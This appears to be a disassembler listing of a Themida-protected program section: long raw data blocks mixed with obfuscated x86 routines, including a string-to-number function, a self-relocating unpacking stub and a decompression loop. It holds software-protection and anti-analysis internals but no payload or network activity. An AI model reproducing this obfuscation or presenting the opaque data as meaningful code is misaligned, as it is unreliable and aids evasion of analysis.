		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0F9C712C3h, 0F69A68BAh, 0AEBD8D69h, 8B07A84Bh, 0EE9D3h
		dd 89600000h, 0A8089985h, 0B98D2907h, 6107A82Dh, 0D3B70F57h
		dd 72F900B9h, 8E925h, 23A50000h, 1A6CA74Ah, 3F834D3Ch
		dd 62840F00h, 0F8000000h, 2FB60F30h, 6AC9D1h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 5CDD6FC3h
		dd 0AC372752h, 9D2BD78Bh, 7A81925h, 50006A47h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0AAB3AD0Eh
		dd 80682132h, 9BE948C3h, 29FFFFFFh, 0A80321BDh,	8B665F07h
		dd 0AABD89D1h, 8907A84Dh, 0A80EF585h, 458D8D07h, 5707A809h
		dd 5BD7BF0Fh, 0A3DB5FFh, 816607A8h, 8D5971EAh, 0AAA9F485h
		dd 0BD8D5007h, 7A85539h, 6F308D8Dh, 0BCB807A8h,	2B54831Ah
		dd 0D00730CFh, 754947C8h, 0F0B58DF8h, 8D07A86Eh, 0A86F488Dh
		dd 0F3CF2B07h, 0B8C933A4h, 0
aTfg9I		db 0Bh,'ÀtFƒ½9',1Bh,'¨',7,0
		db 74h
		dd 0A595FF06h, 8B07A826h, 0A84DAAB5h, 0F4858D07h, 0FF07AAA9h
		dd 0C7858DD0h, 0FF07A843h, 8985C7D0h, 107A80Bh,	8B000000h
		dd 0A81E29A5h, 75B58B07h, 8B07A804h, 0A80509ADh, 0C2C03307h
		dd 0B589000Ch, 7A81939h, 0C8C0Fh, 8E0F0000h, 6,	3959509h
		dd 958B07A8h, 7A821FDh,	23C1BD83h, 0F0007A8h, 0F84h, 78E78000h
		dd 32D995FFh, 958907A8h, 7A83331h, 5A1BD83h, 0F0007A8h
		dd 1F285h, 0F3816600h, 0BD838858h, 7A806A5h, 0E0850F01h
		dd 0F000001h, 0BD83D9B7h, 7A817E9h, 0D0840F00h,	6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 7505C356h, 810FD382h, 3, 83DFBF0Fh, 0A84DFDBDh
		dd 840F0007h, 19Bh, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0A0C35343h, 6E32F938h, 858D04B6h, 7AAA9F4h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 43C35747h
		dd 0E32B37BCh, 26FCCB81h, 0B58B2839h, 7A84DAAh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0CFC35343h, 11E9h
		dd 2ED1ED00h, 0B866D76Fh, 0EF84C81h, 5C2AC205h,	0D0FF8931h
		dd 0B70F30B6h, 1985C6D0h, 5407A806h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 7DC35040h, 48124783h, 8BC2FA00h
		dd 0A823F195h, 0FD2E6807h, 96BBF436h, 811FF830h, 0C1C62404h
		dd 6A0B17h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 5E8C6C3h,	0EC000000h, 55745CFFh, 95B5FF5Ah
		dd 0F507A818h, 3BDF858Dh, 8D2907A8h, 7A8310Dh, 0D281D0FFh
		dd 3E6BE913h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 236251C3h, 801E37D9h, 0DE80FDE7h
		dd 0FFF6AB9h, 1988h, 14E900h, 0AAF70000h, 7788670Eh, 0FE40D4ECh
		dd 0C940B5D8h, 0E4D3BBBFh, 0D0FF8287h, 2FED8589h, 0B5FF07A8h
		dd 7A82A45h, 59858B60h,	6007A808h, 12E9h, 129F0500h, 10921630h
		dd 14C2979Ah, 7CDFA005h, 8B0E762Bh, 0A827FDBDh,	0FF616107h
		dd 0A80A3D95h, 358D2907h, 8B07A814h, 0A84DAAB5h, 69BD0907h
		dd 0C307A81Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	23C35747h, 2981B58Bh, 3DB607A8h, 840FF60Bh, 56h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F1C35545h
		dd 96F40EBh, 2BB820AAh,	0EB59D09h, 6C607A8h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 7C7BB96Ah, 53277EA7h, 433BBB83h, 85892E95h, 7A84DB2h
		dd 799BD29h, 895707A8h,	0A833A195h, 0F8835B07h,	90840F00h
		dd 23000002h, 0A817399Dh, 22B4BB07h, 0B816F4h, 8B000000h
		dd 0F883DAh, 8F840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 6C4B8C3h, 21958BA4h
		dd 8307A805h, 850F02F8h, 4Fh, 65C2F381h, 858D4F5Fh, 7A8442Dh
		dd 251D958Bh, 292D07A8h, 89000009h, 0A82AC585h,	299D0107h
		dd 5007A825h, 89DF8B66h, 0DE82404h, 0FA000000h,	8074699Ah
		dd 370F11B9h, 0B8CA0C84h, 4A1958Bh, 565A07A8h, 3061958Bh
		dd 0C35B07A8h, 0B8D08B66h, 0
		dd 0E8F38166h, 1E9E9DDh, 8B660000h, 1B8D3h, 95090000h
		dd 7A80769h, 4432BD8Dh,	958B07A8h, 7A82299h, 0B1E9h, 83FA8A00h
		dd 850F02F8h, 1Ah, 1E319D89h, 0BD8D07A8h, 7A8462Ah, 33E59D0Bh
		dd 8FE907A8h, 66000000h, 0F883D98Bh, 69850F03h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 60C7C355h, 68A0Fh, 9D890000h, 7A81D69h, 47BEBD8Dh
		dd 852907A8h, 7A81A55h,	49E9h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0DB0685F3h
		dd 710FFBC4h, 2FC1B529h, 9D8B07A8h, 7A817DDh, 0F05F883h
		dd 1185h, 7ACA8100h, 0E93AF62Ah, 0B4h, 9FD9D33h, 6A5707A8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0E684C350h, 0E59F4E8Dh, 229B7CAFh, 1640BA66h
		dd 72F900B9h, 0B870F25h, 0F000000h, 58Ch, 0C2816600h, 0BB667C1Bh
		dd 3F837C9Ch, 61840F00h, 89000000h, 0A8133DB5h,	0E1BA6607h
		dd 6A0F3003h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 1BE9C351h, 2AFD8589h, 0C9D107A8h
		dd 0CC99D09h, 0E94707A8h, 0Dh, 0CD0A29F0h, 76166CC3h, 17F5E43h
		dd 0FFA8E9BFh, 810FFFFFh, 6, 1CED9509h,	9D8B07A8h, 7A826BDh
		dd 0F05F883h, 6285h, 0EE900h, 2D7C0000h, 0DD4B8657h, 427E4880h
		dd 0D7664C67h, 66D98C66h, 0C1F6D18Bh, 32850F04h, 0B7000000h
		dd 0B801h, 820F0000h, 6, 2AB5BD89h, 28E907A8h, 0E8000000h
		dd 0Eh,	0E3A3A8Eh, 3EC1A277h, 4A628EA1h, 958B0360h, 7A80535h
		dd 0C1858B5Ah, 0FF07A80Ah, 898589E0h, 8307A803h, 0A80A3DBDh
		dd 850F0007h, 14Dh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 9AC35040h, 6FE1C6D5h,	0C0F8FE60h, 5E9h
		dd 68393800h, 0E9908A7Dh, 0Eh, 0C70A4B45h, 0F46FB5A1h
		dd 0FAC8C389h, 0E95014FAh, 0Fh,	11A0377Bh, 217341B0h, 0D63D77DFh
		dd 907182F3h, 10E9h, 0A93F900h,	1191C19Fh, 3B00397h, 626023DBh
		dd 1985C61Ch, 4507A806h, 0B7F968F9h, 5250734Ah,	0F525050h
		dd 5B585A31h, 0BA66310Fh, 585A34B6h, 70240481h,	0E91B27B1h
		dd 6, 504E6476h, 0B5FF1341h, 7A81895h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 74C35343h, 0E971642Fh, 800F2E23h
		dd 6, 35799D8Bh, 858D07A8h, 7A83BDFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 87C35242h, 0FF7FD651h, 50006AD0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 3D858955h, 8107A80Ah, 278938DAh, 58DA8B00h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 4EC35040h, 8166755Ch
		dd 8B39D5D2h, 0A80E5595h, 1BD8307h, 7A84Eh, 18840Fh, 0B5290000h
		dd 7A805D1h, 2A45B5FFh,	8B6607A8h, 3D95FFD9h, 6607A80Ah
		dd 0F883DA8Bh, 3E850F00h, 6A000001h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 9D39C353h
		dd 8E8F2DDh, 0E9000000h, 3138A83Dh, 66355F8Dh, 5B5848BBh
		dd 8E8h, 0CF6B0C00h, 927C437h, 0DAB70FD2h, 0C9958B5Ah
		dd 8307A819h, 0A831E5BDh, 840F0007h, 69h, 1858960h, 8907A80Fh
		dd 0A8101995h, 0B5FF6107h, 7A831E5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 58C35040h, 820F088Ch, 5, 0CF0B45BBh
		dd 1B848h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 858903C3h, 7A82935h, 1E4E9h, 45B5FF00h
		dd 8107A82Ah, 0AFB5E1C3h, 45B5FF0Dh, 0F07A82Ah,	680h, 0F5BD8900h
		dd 2907A827h, 0A80E559Dh, 3DB5FF07h, 6A07A80Ah,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 7ACDC353h, 3D99905Eh, 6E9h, 0DCD65C00h, 0E989A2EFh
		dd 189h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 18h,	3EC35242h, 0BC5402CAh, 22F28166h, 0BD895FB4h, 7A81D6Dh
		dd 29ADBD83h, 0F0007A8h, 9785h,	0FE900h, 3A830000h, 494B9DDh
		dd 8C0252D9h, 0B0C6A2DAh, 1985C6ECh, 4D07A806h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0B7C35040h, 0D18BCEE6h
		dd 0C6B62068h, 2404814Bh, 586EC088h, 0DED9D89h,	0B5FF07A8h
		dd 7A81E35h, 0FFE3C381h, 858D2FACh, 7A83BDFh, 0FFC2DE80h
		dd 0AD8589D0h, 8907A800h, 0A829AD85h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0F0EDE555h, 0BADFA4D4h, 5B1F1ECEh, 0B8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0EE7F057Dh, 9304B7Bh, 0BB667485h, 880FD379h,	13h, 0CE956h
		dd 37C40000h, 17901C23h, 9EC6A86Bh, 895BF523h, 0A84DAABDh
		dd 0BFBB6607h, 0FC00BA9h, 0B84h, 7CF78000h, 58E9h, 0DEB70F00h
		dd 0A3DB5FFh, 6A07A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0BCEC1FC3h, 8DF8D78Eh, 0AAA9F485h
		dd 0F2816607h, 0D18B3904h, 14E850h, 6A220000h, 1CEC7F13h
		dd 3144034Bh, 0DF7060E1h, 9CA288CCh, 895A0F50h,	0CE802404h
		dd 8D56507Ah, 0A85539BDh, 4D8D8D07h, 0B807A879h, 748323BCh
		dd 730CF2Bh, 4947C8D0h,	585EF875h, 31E5BD83h, 740007A8h
		dd 0E98D8B06h, 3307A80Dh, 0B8C9h, 0C00B0000h, 0A8840Fh
		dd 0BD830000h, 7A81B39h, 0FF067400h, 0A826A595h, 0B807h
		dd 0C00B0000h, 0BD830975h, 7A84DB2h, 83097401h,	0A84DB2BDh
		dd 0E750207h, 4DAAB58Bh, 858D07A8h, 7AAA9F4h, 0BD83D0FFh
		dd 7A823C1h, 0FF067400h, 0A832D995h, 0C7858D07h, 0FF07A843h
		dd 9BD83D0h, 207A822h, 0A58B2F75h, 7A81E29h, 31E5858Bh
		dd 48907A8h, 8985C724h,	107A80Bh, 8B000000h, 0A84DAEB5h
		dd 9AD8B07h, 0B807A805h, 1, 0EB000CC2h,	8985C700h, 107A80Bh
		dd 8B000000h, 0A81E29A5h, 75B58B07h, 8B07A804h,	0A80509ADh
		dd 0C2C03307h, 0BD83000Ch, 7A823C1h, 830F7400h,	0A832D9BDh
		dd 6740007h, 32D995FFh,	0B58B07A8h, 7A84DAAh, 55006AC3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 331327BEh, 0A8238995h, 6AD22B07h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 81E4C353h
		dd 54654BE2h
		db 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_588EFD
; ---------------------------------------------------------------------------


loc_588EFB:				; CODE XREF: Themida_:00588F00j
		inc	eax
		inc	edi


loc_588EFD:				; CODE XREF: Themida_:00588EF9j
		cmp	byte ptr [edi],	0
		jnz	short loc_588EFB
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_588F2C
; ---------------------------------------------------------------------------


loc_588F09:				; CODE XREF: Themida_:00588F2Ej
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_588F21
; ---------------------------------------------------------------------------


loc_588F1E:				; CODE XREF: Themida_:00588F24j
		mul	ebx
		dec	esi


loc_588F21:				; CODE XREF: Themida_:00588F1Cj
		cmp	esi, 0
		ja	short loc_588F1E
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_588F2C:				; CODE XREF: Themida_:00588F07j
		or	eax, eax
		jnz	short loc_588F09
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EE957D0h, 23000000h, 737B769Eh, 0C7BFC543h,	99A46EDCh
		dd 6A5B59h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0C5A962C3h, 659D8BBDh, 8907A818h,	0A8263D85h
		dd 0E9C18B07h, 1ADh, 24748B60h,	247C8B24h, 80B2FC28h, 8846068Ah
		dd 2BB4707h, 2000000h, 5850FD2h, 8A000000h, 0D2124616h
		dd 0FFE2830Fh, 0D202FFFFh, 5850Fh, 168A0000h, 0FD21246h
		dd 6A83h, 2C03300h, 5850FD2h, 8A000000h, 0D2124616h, 12A830Fh
		dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 840FC013h
		dd 6, 8AF82B57h, 7885F07h, 2BB47h, 70E90000h, 0B8FFFFFFh
		dd 1, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0FFDE820Fh, 0C32BFFFFh, 1BBh, 34850F00h
		dd 0B9000000h, 1, 850FD202h, 5,	1246168Ah, 2C913D2h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0FFDE820Fh, 8B56FFFFh, 0F3F52BF7h
		dd 8E95EA4h, 48FFFFFFh,	8A08E0C1h, 0E88B4606h, 1B9h, 0FD20200h
		dd 585h, 46168A00h, 0C913D212h,	850FD202h, 5, 1246168Ah
		dd 0DE820FD2h, 3DFFFFFFh, 7D00h, 22830Fh, 3D0000h, 0F000005h
		dd 0E82h, 8B564100h, 0F3F02BF7h, 0B4E95EA4h, 83FFFFFEh
		dd 870F7FF8h, 3, 5602C183h, 0F02BF78Bh,	0E95EA4F3h, 0FFFFFE9Bh
		dd 3346068Ah, 1E8C0C9h,	17840Fh, 0D1830000h, 56E88B02h
		dd 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h, 247C2BFFh, 247C8928h
		dd 8C2611Ch, 929BA00h, 0D5E90000h, 0CC000223h, 1B00605Bh
		dd 0F4026D00h, 0CC0012FEh, 2300605Bh, 26D00h, 0E0000000h
		dd 460012FFh, 2000002h,	1000000h, 3000000h, 69000000h
		dd 0F8B014h, 4 dup(0)
		dd 99000000h, 340058B1h, 23005907h, 5C0058A3h, 50058CFh
		dd 0D2005949h, 0AF0058A2h, 830058CDh, 74005943h, 40058F8h
		dd 3500592Ah, 3E0058BCh, 0A30058D9h, 650058A7h,	0A30058E9h
		dd 140058AEh, 450058ABh, 0EA0058E8h, 0A80058F4h, 58D4h
		dd 790058AEh, 8D00589Dh, 0B200592Eh, 0F80058FEh, 0A8005914h
		dd 360058D1h, 390058CAh, 0C40058D8h, 0AD0058CFh, 5B00590Dh
		dd 0EF0058A0h, 9B0058B2h, 0A30058CCh, 2A0058F8h, 100058B3h
		dd 0CF00594Eh, 0A600589Fh, 0BD005908h, 0D1005900h, 0AE0058A0h
		dd 3005950h, 6A0058CDh,	0C400592Ah, 0CD0058D5h,	4D0058C3h
		dd 1C005899h, 0CA005915h, 130058D8h, 0D5005937h, 790058A8h
		dd 75005894h, 0AD00592Bh, 0EE005930h, 0E0058C2h, 0F30058DBh
		dd 5C005903h, 1B0058A4h, 0B50058FFh, 0D80058E6h, 190058C4h
		dd 0CF0058D6h, 6000594Ah, 0F2005918h, 60058F6h,	9A00592Fh
		dd 0F9005915h, 0D80058F4h, 74005911h, 780058EFh, 0B0058D0h
		dd 0B700590Eh, 3A005901h, 0F6005953h, 160058B4h, 0B10058D8h
		dd 380058B3h, 0BC0058FBh, 500058F0h, 650058F7h,	120058C9h
		dd 0AF0058F8h, 7900592Ah, 0F40058F9h, 4A005916h, 0A60058C5h
		dd 1D005928h, 24005953h, 2D005929h, 2700591Dh, 0BC005943h
		dd 50058F5h, 900058EDh,	0BD0058F3h, 62005943h, 0C50058E1h
		dd 70005935h, 47005945h, 0AD00593Bh, 560058ACh,	450058B5h
		dd 470058D9h, 0C005922h, 0A80058AAh, 6400592Ah,	160058A7h
		dd 0A50058A3h, 0A60058EEh, 8B005947h, 0BB005907h, 90058AEh
		dd 23005940h, 9F0058D3h, 2B005916h, 690058CCh, 40005939h
		dd 480058C6h, 8A0058FDh, 15005925h, 26005934h, 1100593Eh
		dd 0A8005936h, 840058D0h, 1F0058B9h, 0B00058B8h, 0AE005944h
		dd 93005925h, 710058DFh, 0E60058A0h, 0A0005911h, 0E80058FEh
		dd 5A005913h, 310058EAh, 0B30058FFh, 3C005934h,	0DE005944h
		dd 94005905h, 8A00590Ch, 5C00593Eh, 5600590Dh, 0C70058A6h
		dd 0F1005955h, 4C00589Fh, 0F6005897h, 1300593Ch, 340058FCh
		dd 2E0058E7h, 8400592Ch, 65005916h, 180058CBh, 7E005951h
		dd 1A0058A8h, 5D0058C1h, 30005932h, 5B005955h, 5D005904h
		dd 0B600594Dh, 16005897h, 620058C5h, 920058EBh,	0A900592Fh
		dd 160058DFh, 8005930h,	6C0058DDh, 7800591Bh, 0DC005952h
		dd 0F00058E5h, 990058F2h
		db 24h,	59h, 0
; ---------------------------------------------------------------------------


loc_58941B:				; CODE XREF: Themida_:005ABDA9j
					; Themida_:005CDBF0j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7A87FBAh
		mov	eax, edi
		add	edi, 7A87CD2h
		cmp	eax, [edi+2Ch]
		jnz	short loc_589439
		jmp	short loc_58944C
; ---------------------------------------------------------------------------


loc_589439:				; CODE XREF: Themida_:00589435j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_589448
; ---------------------------------------------------------------------------


loc_589443:				; CODE XREF: Themida_:0058944Aj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_589448:				; CODE XREF: Themida_:00589441j
		or	ecx, ecx
		jnz	short loc_589443


loc_58944C:				; CODE XREF: Themida_:00589437j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_589459:				; CODE XREF: Themida_:00589460j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_589459


loc_589462:				; CODE XREF: Themida_:0058B4CEj
					; Themida_:0058D711j ...
		lodsb
		sub	al, 3Eh
		jmp	loc_590F02
; ---------------------------------------------------------------------------
		dw 5556h
		dd 99419FBDh, 5DEE8963h, 68F8E9h, 24248B00h, 0FFFFE1E9h
		dd 814F47FFh, 0DB99F3C7h, 5FF93129h, 6B41C181h,	0C1811E28h
		dd 0AEB5AD2Bh, 0A576E9h, 0C4835B00h, 37BE5604h,	813C2371h
		dd 9204246Ch, 520F412Fh, 9B1D22BAh, 2454016Ch, 74015A08h
		dd 6C810424h, 1D220424h, 0EC816C9Bh, 4,	8FFE9h,	0F9096600h
		dd 0E9243C8Bh, 0BCE9h, 5103EFC0h, 0E9E2B353h, 5D68h, 9AF9E953h
		dd 248B0000h, 48B6624h,	24E95024h, 500002Bh, 4,	405h, 6EDFE900h
		dd 248B0000h, 24048B24h, 8904EC83h, 8B54242Ch, 9CE9242Ch
		dd 5A0000C4h, 7DB1E9h, 44E95800h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58952B:				; CODE XREF: Themida_:00594319j
		add	edx, eax
		jmp	loc_58DD8A
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 7AE98104h, 81DD7BBFh, 7B3340C6h, 0E9CE0169h,	7EEDh
; ---------------------------------------------------------------------------


loc_589548:				; CODE XREF: Themida_:005945A1j
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_59453B
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 8768240Ch, 89000017h, 2BB241Ch, 0E9000000h, 2C3Bh
; ---------------------------------------------------------------------------


loc_589570:				; CODE XREF: Themida_:005950D7j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		and	ecx, ebp
		mov	ebp, [esp]
		push	61E2h
		jmp	loc_593F9E
; ---------------------------------------------------------------------------
aB_0		db 'Â',0Bh,' ',8,0
		dd 762FC681h, 0D6014302h, 762FEE81h, 39E94302h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5895AB:				; CODE XREF: Themida_:005930FDj
		pop	ebx
		xor	edi, 928BE1F1h
		xor	eax, edi
		pop	edi
		and	ecx, eax
		mov	eax, [esp]
		jmp	loc_589AE0
; ---------------------------------------------------------------------------


loc_5895BF:				; CODE XREF: Themida_:0058D767j
		and	ebp, eax
		pop	eax
		xor	ebp, 4F5C1182h
		not	ebp
		push	esi
		mov	esi, 0FFFFFFFFh
		sub	ebp, esi
		pop	esi
		sub	ebp, 0B264D6BFh
		sub	esi, ebp
		pop	ebp
		push	esi
		pop	ecx
		pop	esi
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_590D1C
; ---------------------------------------------------------------------------
aSgz		db ']飧',0
		dw 6600h
		dd 0F6E9F1F7h, 0BE00005Bh, 64B85723h, 0D503C681h, 0F089AEA7h
		dd 682EE95Eh, 0F75F0000h, 34E950DEh, 10000BCh, 34875FFEh
		dd 0C3815C24h, 4, 1991B850h, 28E904C4h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58962B:				; CODE XREF: Themida_:00593011j
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_590BA2
; ---------------------------------------------------------------------------
		db 1, 0D8h, 5
		dd 0E0F3F8Bh, 0E9241C8Bh, 727Dh, 0D8F7D0F7h, 662F620Dh
		dd 48D0F71Dh, 9AEB951h,	0C83170D1h, 58C33159h, 0C2D3E9h
		dd 31CA8100h, 5049612Ch, 0F57008B8h, 6810h, 4290000h, 0D5355824h
		dd 81A6F7F3h, 0F57ABCC2h, 0BF65E96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_589686:				; CODE XREF: Themida_:0058D355j
		pop	esp
		push	75BEh
		jmp	loc_58C239
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C4h
		dd 4, 4EC8151h,	89000000h, 0F7B7241Ch, 285BF988h, 0B2A1E9CBh
		dd 0BA520000h, 295EB9E8h, 9424132Dh, 57C3052Dh,	0C1055D19h
		dd 294DC77Fh, 23E9D0h, 0EC830000h, 24148904h, 717BD0BAh
		dd 5AD0216Ch, 0EFD43405h, 8BC101F7h, 0C4812404h, 4, 362FE9h
		dd 7FC12D00h, 0E9574DC7h, 0B3A0h
; ---------------------------------------------------------------------------


loc_5896F8:				; CODE XREF: Themida_:0058B5E3j
		sub	ebp, ebx
		jmp	loc_589809
; ---------------------------------------------------------------------------
		db 0F7h
aS6e		db 'Úé6…',0
		align 2
		dw 0BA52h
		dd 71A8529Dh, 6CCA3ABEh, 5AD6298Bh, 0F74EDEF7h,	0E6C14ED6h
		dd 82F68108h, 59A7F18h,	7EF33B7Eh, 0BF57F001h, 6DD06E0Fh
		dd 0EF81DFF7h, 133C5673h, 0FF5FF829h, 505E2434h, 405E089h
		dd 0E9000000h, 3882h, 592434FFh, 65296853h, 24890000h
		dd 58E95724h, 0BA000093h, 19853B12h, 0C25FE9h
		db 0
; ---------------------------------------------------------------------------


loc_589769:				; CODE XREF: Themida_:00589ED8j
		push	ebp
		jmp	loc_593D98
; ---------------------------------------------------------------------------
		db 80h
		dd 1AE9BDF4h, 4E000049h, 24C9E94Eh, 0D3F60000h,	86E9C3FEh
		dd 100005Ch, 0F2C781EFh, 5D792C40h, 4C781h, 3C870000h
		dd 0BD555C24h, 6A935D60h, 2C8BEA29h, 4C48324h, 659C281h
		dd 0C2012957h, 63CCE956h, 0B0680000h, 582C8438h, 33D06851h
		dd 835965E1h, 99E9FFE9h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5897CB:				; CODE XREF: Themida_:00589E24j
		mov	edi, [esp]
		add	esp, 4
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		add	esp, 4


loc_5897DA:				; CODE XREF: Themida_:0058A693j
		push	ebp
		mov	ebp, ebx
		push	ecx
		push	esp
		pop	ecx
		push	ebp
		jmp	loc_58EF05
; ---------------------------------------------------------------------------
		dw 166h
		dd 0E99C2404h, 0FFFFFC72h
; ---------------------------------------------------------------------------


loc_5897F0:				; CODE XREF: Themida_:0058D5EAj
		mov	edx, eax
		pop	eax
		pop	ebx
		add	edx, 78FC2477h
		neg	edx
		neg	edx
		xor	edx, 9B3C5E45h
		jmp	loc_58BC5F
; ---------------------------------------------------------------------------


loc_589809:				; CODE XREF: Themida_:005896FAj
		mov	ebx, [esp]
		jmp	loc_58FCDB
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 3DEEE9h, 75B96800h, 24890000h, 5F37E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_589826:				; CODE XREF: Themida_:0058E19Cj
		shl	ecx, 6
		jmp	loc_590CA1
; ---------------------------------------------------------------------------
aISn		db '½»:©~éN',0Ah,0
		align 4
		dd 475FE981h, 0F9015FADh, 475FC181h, 835F5FADh,	0C8704C1h
		dd 0EC835C24h, 24148904h, 0C2815A54h, 4, 5204C283h, 0ACE5E9h
		dd 0C3815C00h, 4, 2C381h, 1C870000h, 24248B24h,	240CD366h
		dd 0FBE0E99Ch, 0F748FFFFh, 7F9135D8h, 0EF2D0876h, 29A8850Dh
		dd 24048BC2h, 8104C483h, 327BADEAh, 9FC2813Eh, 123447Ch
		dd 9FBB53FAh, 2923447Ch, 0C2815BDAh, 3E327BADh,	148B028Bh
		dd 51B46824h, 0C890000h, 0E9E18924h, 708Eh, 0BB241C89h
		dd 3Ch,	8904EC83h, 72E9242Ch
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5898DB:				; CODE XREF: Themida_:0059107Fj
		sub	dword ptr [esp], 160E2FEBh
		pop	edx
		jmp	loc_58A687
; ---------------------------------------------------------------------------


loc_5898E8:				; CODE XREF: Themida_:00591BDAj
		dec	ecx
		push	ecx
		jmp	loc_591FF6
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 40500h, 4050000h, 68000000h, 2CDFh, 0FF240489h
		dd 58042474h, 8B24048Fh, 34FF2424h, 2434FF24h, 0E1895158h
		dd 4BF57h, 11E90000h, 66FFFFFFh, 14F76651h, 0C8B6624h
		dd 0AEDBE924h, 0C4810000h, 4, 31241C33h, 1C33241Ch, 0D0015C24h
		dd 5A3DE9h, 1C77FF00h, 411589Dh, 7E99C24h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58995B:				; CODE XREF: Themida_:0059284Fj
		push	esp
		pop	ecx
		jmp	loc_5914BB
; ---------------------------------------------------------------------------


loc_589962:				; CODE XREF: Themida_:00591642j
		add	esp, 4
		and	eax, ecx
		pop	ecx
		shr	eax, 0Eh
		xor	eax, ecx
		push	5901h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
